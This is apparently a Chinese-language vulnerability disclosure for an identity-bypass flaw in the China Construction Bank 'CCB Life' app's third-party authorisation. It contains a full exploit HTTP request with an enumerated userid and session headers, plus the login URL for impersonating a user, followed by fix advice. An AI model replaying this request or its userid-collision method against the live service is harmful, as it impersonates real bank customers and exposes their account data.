建行生活App内应用授权存在身份绕过漏洞

建行生活App内应用授权存在身份绕过漏洞

背景

建行生活由中国建设银行总行研发,可为用户提供餐饮、出行、车生活、观影、充值缴费等高频生活场景一站式服务。

建行生活App中有很多第三方H5应用,比如饿了么、哈罗单车、各省分行活动页面等。

如何向这些第三方页面传递当前登录用户的身份信息?

  1. 以当前登录用户身份请求建行生活服务器,获取一个加密字符串ENCRYPTED_MSG
  2. 跳转时传递这个加密字符串ENCRYPTED_MSG
  3. 第三方应用调用建行生活API解密传入的加密字符串,得到用户身份信息。

漏洞详情

漏洞存在于授权的第一步,向服务器请求加密字符串的过程中,用户可以自定义userid参数(需要一组真实的USERIDMOBILE),这个参数的格式为YSM+Date+自增id,因此可以生成一批ID进行碰撞。

截图中的YSM202207179882457是碰撞成功的userid。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /basic_service/txCtrl?txcode=A3341SB06 HTTP/2
Host: yunbusiness.ccb.com
Content-Length: 167
Pragma: no-cache
Cache-Control: no-cache
Clientinfo: {"appVersion":"1.1.8.001","resourseBundleVersion":"","deviceId":"","deviceModel":"","osType":"","osVersion":"","mac":"","dFingerprint":"","gpsCityCode":"510100"}
Accept: application/json,text/javascript,*/*
Mbskey: MgqMPLjxPywu4p55ukWynSp5%2CUSmVJK2ATvVjN2p5gOhCOmqxAz1NNurCwlxMV7rvwtdMQ4rxgtBrRUJip
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36/CloudMercWebView
Skey: G26l3B
X-Requested-With: com.ccb.longjiLife
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

{"PLATFORM_ID":"YS44000008000506","ENCRYPT_MSG":"userid=YSM202207179882457&mobile=1&USERID=x&MOBILE=x","chnlType":"1","regionCode":"510100"}

image-20221130132747674

以建行四川分行的这个活动页面为例,获取到ENCRYPTED_MSG后在应用中跳转到以下链接即可成功登陆。

1
https://scqy.ccb.com/hmscmob/index?ccbParamSJ=$ENCRYPTED_MSG

image-20221130133931118

查看订单信息:

image-20221130134008462

修复建议

  1. 授权时(/basic_service/txCtrl?txcode=A3341SB06)校验userid
  2. userid有一定规律,可以生成一批数据碰撞,建议更换userid的生成方式,比如使用UUID